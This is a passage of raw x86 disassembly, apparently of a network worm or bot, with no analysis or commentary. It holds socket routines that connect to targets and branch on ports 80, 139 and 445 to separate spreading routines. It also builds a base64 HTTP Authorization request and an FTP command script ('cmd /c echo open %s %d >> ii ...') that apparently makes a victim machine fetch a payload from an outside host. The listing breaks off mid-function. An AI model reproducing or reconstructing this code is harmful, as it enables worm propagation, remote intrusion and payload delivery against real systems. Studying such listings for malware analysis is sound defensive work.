; ---------------------------------------------------------------------------

loc_403F4B:				; CODE XREF: sub_403EBA+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_403DF6
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_403E75
		add	esp, 1Ch
		test	al, al
		jz	short loc_403F47
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_403DF6
		add	esp, 10h
		mov	bl, 1

loc_403F86:				; CODE XREF: sub_403EBA+8Fj
		push	esi
		call	sub_417C3B
		pop	ecx
		mov	al, bl

loc_403F8F:				; CODE XREF: sub_403EBA+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403EBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403F94	proc near		; CODE XREF: _0:004043ECp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_428720
		push	[ebp+arg_0]
		call	ds:dword_424208	; send
		cmp	eax, 48h
		jnz	short loc_403FCF
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_403DF6
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403FCF
		cmp	[ebp+var_20], 82h
		jz	short loc_403FD3

loc_403FCF:				; CODE XREF: sub_403F94+1Bj
					; sub_403F94+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_403FD3:				; CODE XREF: sub_403F94+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_403EBA
		add	esp, 0Ch
		leave
		retn
sub_403F94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FE6	proc near		; CODE XREF: sub_404032+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	ds:dbl_424278
		call	sub_417DC4
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	ds:dbl_424270
		fstp	[esp+10h+var_10]
		call	sub_417CA4
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_417DC4
		inc	eax
		leave
		retn
sub_403FE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_404032	proc near		; CODE XREF: sub_4041D4+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_4230E7
		call	sub_418290
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_404667
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_403FE6
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_404074
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_4045E2

loc_404074:				; CODE XREF: sub_404032+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_404191
		mov	ebx, [ebp+10h]

loc_404083:				; CODE XREF: sub_404032+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40408D
		push	3
		jmp	short loc_40409F
; ---------------------------------------------------------------------------

loc_40408D:				; CODE XREF: sub_404032+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_404097
		push	2
		jmp	short loc_40409F
; ---------------------------------------------------------------------------

loc_404097:				; CODE XREF: sub_404032+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_4040A0
		push	1

loc_40409F:				; CODE XREF: sub_404032+59j
					; sub_404032+63j
		pop	ebx

loc_4040A0:				; CODE XREF: sub_404032+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	ds:dbl_424288
		fstp	[esp+40h+var_40]
		call	sub_417DEB
		pop	ecx
		pop	ecx
		call	sub_417DC4
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_4040DF
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi

loc_4040DF:				; CODE XREF: sub_404032+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40414D
		add	[ebp-18h], eax

loc_404131:				; CODE XREF: sub_404032+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, ds:byte_42876C[eax]
		push	eax
		push	1
		call	sub_404464
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_404131

loc_40414D:				; CODE XREF: sub_404032+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40416B
		push	dword ptr [ebp+14h]
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_4044BD
		mov	[ebp-18h], edi

loc_40416B:				; CODE XREF: sub_404032+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_404185
		sub	esi, [ebp-1Ch]

loc_404176:				; CODE XREF: sub_404032+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_404464
		dec	esi
		jnz	short loc_404176

loc_404185:				; CODE XREF: sub_404032+13Fj
		cmp	[ebp+10h], edi
		ja	loc_404083
		push	1
		pop	ebx

loc_404191:				; CODE XREF: sub_404032+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_404667
		push	ds:dword_424280
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_404514
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_404667
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_404032	endp


; =============== S U B	R O U T	I N E =======================================



sub_4041D4	proc near		; CODE XREF: _0:004043CFp
		mov	eax, offset loc_423104
		call	sub_418290
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_43C80C
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_404032
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_417B89
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40421E
		xor	bl, bl
		jmp	short loc_404262
; ---------------------------------------------------------------------------

loc_40421E:				; CODE XREF: sub_4041D4+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_424290
		cmp	ecx, ebx
		jnz	short loc_40422C
		mov	ecx, eax

loc_40422C:				; CODE XREF: sub_4041D4+54j
		cmp	[ebp+18h], ebx
		jz	short loc_404234
		mov	eax, [ebp+18h]

loc_404234:				; CODE XREF: sub_4041D4+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41782A
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	ds:dword_43F6B8	; send
		cmp	eax, esi
		jz	short loc_404259
		xor	bl, bl
		jmp	short loc_40425B
; ---------------------------------------------------------------------------

loc_404259:				; CODE XREF: sub_4041D4+7Fj
		mov	bl, 1

loc_40425B:				; CODE XREF: sub_4041D4+83j
		push	edi
		call	sub_417C3B
		pop	ecx

loc_404262:				; CODE XREF: sub_4041D4+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_404667
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_404667
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_4041D4	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_428918
		push	eax
		call	sub_417390
		add	esp, 0Ch
		mov	eax, offset byte_42F678
		push	eax
		push	eax
		push	ds:dword_43C83C
		push	dword ptr [ebp+8]
		call	sub_40AEE0
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41782A
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_4287B0
		push	eax
		call	sub_403A90
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40432B
		xor	eax, eax
		jmp	loc_404457
; ---------------------------------------------------------------------------

loc_40432B:				; CODE XREF: _0:00404322j
		mov	[ebp-0Ch], esi

loc_40432E:				; CODE XREF: _0:0040442Ej
		test	esi, esi
		jnz	loc_404434
		push	6
		push	1
		push	2
		call	ds:dword_424214	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40441C
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	ds:dword_43F668	; htons
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	ds:dword_43F6A8	; inet_addr
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_43F610	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_404411
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_4043D9
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_404667
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_4046A3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_4041D4
		add	esp, 1Ch
		jmp	short loc_40440E
; ---------------------------------------------------------------------------

loc_4043D9:				; CODE XREF: _0:00404397j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_4043F3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_403F94
		jmp	short loc_40440B
; ---------------------------------------------------------------------------

loc_4043F3:				; CODE XREF: _0:004043E3j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_404411
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_403EBA

loc_40440B:				; CODE XREF: _0:004043F1j
		add	esp, 0Ch

loc_40440E:				; CODE XREF: _0:004043D7j
		movzx	esi, al

loc_404411:				; CODE XREF: _0:0040438Aj _0:004043FDj
		push	ebx
		call	ds:dword_43F700	; closesocket
		test	esi, esi
		jnz	short loc_404427

loc_40441C:				; CODE XREF: _0:00404347j
		push	3E8h
		call	ds:dword_424064	; Sleep

loc_404427:				; CODE XREF: _0:0040441Aj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40432E

loc_404434:				; CODE XREF: _0:00404330j
		lea	ecx, [ebp-8]
		call	sub_4038B5
		test	esi, esi
		jz	short loc_404455
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		inc	ds:dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]

loc_404455:				; CODE XREF: _0:0040443Ej
		mov	eax, esi

loc_404457:				; CODE XREF: _0:00404326j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4230C8

loc_40445C:				; CODE XREF: sub_4230C8+3j
					; _0:004230E1j	...
		push	1
		call	sub_404667
		retn
; END OF FUNCTION CHUNK	FOR sub_4230C8

; =============== S U B	R O U T	I N E =======================================



sub_404464	proc near		; CODE XREF: sub_404032+110p
					; sub_404032+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, ds:dword_424280
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40447E
		call	sub_42298A

loc_40447E:				; CODE XREF: sub_404464+13j
		test	ebx, ebx
		jbe	short loc_4044B5
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_4045E2
		test	al, al
		jz	short loc_4044B5
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_417330
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_4044B5:				; CODE XREF: sub_404464+1Cj
					; sub_404464+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_404464	endp


; =============== S U B	R O U T	I N E =======================================



sub_4044BD	proc near		; CODE XREF: sub_404032+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, ds:dword_424280
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_4044D7
		call	sub_42298A

loc_4044D7:				; CODE XREF: sub_4044BD+13j
		test	ebx, ebx
		jbe	short loc_40450C
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_4045E2
		test	al, al
		jz	short loc_40450C
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_417390
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0

loc_40450C:				; CODE XREF: sub_4044BD+1Cj
					; sub_4044BD+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4044BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404514	proc near		; CODE XREF: sub_404032+17Cp
					; sub_4228A0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40452C
		call	sub_422863

loc_40452C:				; CODE XREF: sub_404514+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40453E
		mov	esi, [ebp+arg_8]

loc_40453E:				; CODE XREF: sub_404514+25j
		cmp	edi, ebx
		jnz	short loc_404560
		push	ds:dword_424280
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_4046D8
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_4046D8
		jmp	short loc_4045D9
; ---------------------------------------------------------------------------

loc_404560:				; CODE XREF: sub_404514+2Cj
		test	esi, esi
		jbe	short loc_4045A3
		cmp	esi, eax
		jnz	short loc_4045A3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404574
		mov	eax, offset dword_424290

loc_404574:				; CODE XREF: sub_404514+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_4045A3
		push	1
		mov	ecx, edi
		call	sub_404667
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40458F
		mov	eax, offset dword_424290

loc_40458F:				; CODE XREF: sub_404514+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_4045D9
; ---------------------------------------------------------------------------

loc_4045A3:				; CODE XREF: sub_404514+4Ej
					; sub_404514+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_4045E2
		test	al, al
		jz	short loc_4045D9
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_4045BD
		mov	eax, offset dword_424290

loc_4045BD:				; CODE XREF: sub_404514+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_417390
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0

loc_4045D9:				; CODE XREF: sub_404514+4Aj
					; sub_404514+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_404514	endp


; =============== S U B	R O U T	I N E =======================================



sub_4045E2	proc near		; CODE XREF: sub_404032+3Dp
					; sub_404464+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_4045F4
		call	sub_42298A

loc_4045F4:				; CODE XREF: sub_4045E2+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40461D
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40461D
		cmp	al, 0FFh
		jz	short loc_40461D
		cmp	edi, edx
		jnz	short loc_404658
		dec	al
		push	edx
		mov	[ecx-1], al

loc_404612:				; CODE XREF: sub_4045E2+47j
		mov	ecx, esi
		call	sub_404667

loc_404619:				; CODE XREF: sub_4045E2+4Bj
					; sub_4045E2+52j
		xor	al, al
		jmp	short loc_404662
; ---------------------------------------------------------------------------

loc_40461D:				; CODE XREF: sub_4045E2+19j
					; sub_4045E2+20j ...
		cmp	edi, edx
		jnz	short loc_404636
		cmp	[esp+8+arg_4], dl
		jz	short loc_40462B
		push	1
		jmp	short loc_404612
; ---------------------------------------------------------------------------

loc_40462B:				; CODE XREF: sub_4045E2+43j
		cmp	ecx, edx
		jz	short loc_404619
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_404619
; ---------------------------------------------------------------------------

loc_404636:				; CODE XREF: sub_4045E2+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_404653
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_404648
		cmp	eax, edi
		jnb	short loc_404660

loc_404648:				; CODE XREF: sub_4045E2+60j
		push	1
		mov	ecx, esi
		call	sub_404667
		jmp	short loc_404658
; ---------------------------------------------------------------------------

loc_404653:				; CODE XREF: sub_4045E2+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_404660

loc_404658:				; CODE XREF: sub_4045E2+28j
					; sub_4045E2+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40473F

loc_404660:				; CODE XREF: sub_4045E2+64j
					; sub_4045E2+74j
		mov	al, 1

loc_404662:				; CODE XREF: sub_4045E2+39j
		pop	edi
		pop	esi
		retn	8
sub_4045E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_404667	proc near		; CODE XREF: sub_404032+1Fp
					; sub_404032+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_404693
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_404693
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40468C
		cmp	al, 0FFh
		jz	short loc_40468C
		dec	al
		mov	[ecx], al
		jmp	short loc_404693
; ---------------------------------------------------------------------------

loc_40468C:				; CODE XREF: sub_404667+19j
					; sub_404667+1Dj
		push	ecx
		call	sub_4182AF
		pop	ecx

loc_404693:				; CODE XREF: sub_404667+8j
					; sub_404667+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_404667	endp


; =============== S U B	R O U T	I N E =======================================



sub_4046A3	proc near		; CODE XREF: _0:004043C3p
					; sub_4047FC+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_4045E2
		test	al, al
		jz	short loc_4046D1
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_417390
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_4046D1:				; CODE XREF: sub_4046A3+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_4046A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4046D8	proc near		; CODE XREF: sub_404514+39p
					; sub_404514+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_4046EB
		call	sub_422863

loc_4046EB:				; CODE XREF: sub_4046D8+Cj
		mov	ecx, edi
		call	sub_4047FC
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_404701
		mov	ebx, eax

loc_404701:				; CODE XREF: sub_4046D8+25j
		test	ebx, ebx
		jbe	short loc_404737
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_4182C0
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_4045E2
		test	al, al
		jz	short loc_404737
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0

loc_404737:				; CODE XREF: sub_4046D8+2Bj
					; sub_4046D8+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4046D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40473F	proc near		; CODE XREF: sub_4045E2+79p
		mov	eax, offset loc_423110
		call	sub_418290
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_404765
		mov	edi, [ebp+8]

loc_404765:				; CODE XREF: sub_40473F+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_404772
		xor	eax, eax

loc_404772:				; CODE XREF: sub_40473F+2Fj
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_4047A3
; ---------------------------------------------------------------------------

loc_40477E:				; DATA XREF: _1:00424F9Co
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40478D
		xor	eax, eax

loc_40478D:				; CODE XREF: sub_40473F+4Aj
		push	eax
		call	sub_4185F5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40479D
		retn
; ---------------------------------------------------------------------------

loc_40479D:				; DATA XREF: sub_40473F+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]

loc_4047A3:				; CODE XREF: sub_40473F+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_4047C1
		cmp	eax, edi
		jbe	short loc_4047B0
		mov	eax, edi

loc_4047B0:				; CODE XREF: sub_40473F+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_417390
		add	esp, 0Ch

loc_4047C1:				; CODE XREF: sub_40473F+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_404667
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_4047E1
		mov	edi, ebx

loc_4047E1:				; CODE XREF: sub_40473F+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40473F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4047FC	proc near		; CODE XREF: sub_4046D8+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_404829
		mov	al, [esi-1]
		test	al, al
		jz	short loc_404829
		cmp	al, 0FFh
		jz	short loc_404829
		push	1
		call	sub_404667
		push	esi
		call	sub_417AB0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_4046A3

loc_404829:				; CODE XREF: sub_4047FC+9j
					; sub_4047FC+10j ...
		pop	edi
		pop	esi
		retn
sub_4047FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40482C	proc near		; DATA XREF: _2:00426008o
		test	ds:byte_48A30C,	1
		jnz	short loc_40483C
		or	ds:byte_48A30C,	1

loc_40483C:				; CODE XREF: sub_40482C+7j
		jmp	$+5
		push	offset nullsub_2
		call	sub_418670
		pop	ecx
		retn
sub_40482C	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40484E	proc near		; DATA XREF: _2:0042600Co
		jmp	$+5
sub_40484E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404853	proc near
		mov	eax, ds:dword_428BE0
		add	eax, 6
		mov	ds:dword_43C828, eax
		retn
sub_404853	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404861	proc near		; CODE XREF: sub_404861+D0p
					; sub_40494F+471p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_404875
		or	[ebp+arg_7], 1
		jmp	short loc_404879
; ---------------------------------------------------------------------------

loc_404875:				; CODE XREF: sub_404861+Cj
		and	[ebp+arg_7], 0FEh

loc_404879:				; CODE XREF: sub_404861+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40489D
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_4048AF
; ---------------------------------------------------------------------------

loc_40489D:				; CODE XREF: sub_404861+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1

loc_4048AF:				; CODE XREF: sub_404861+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_417B89
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_404948
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
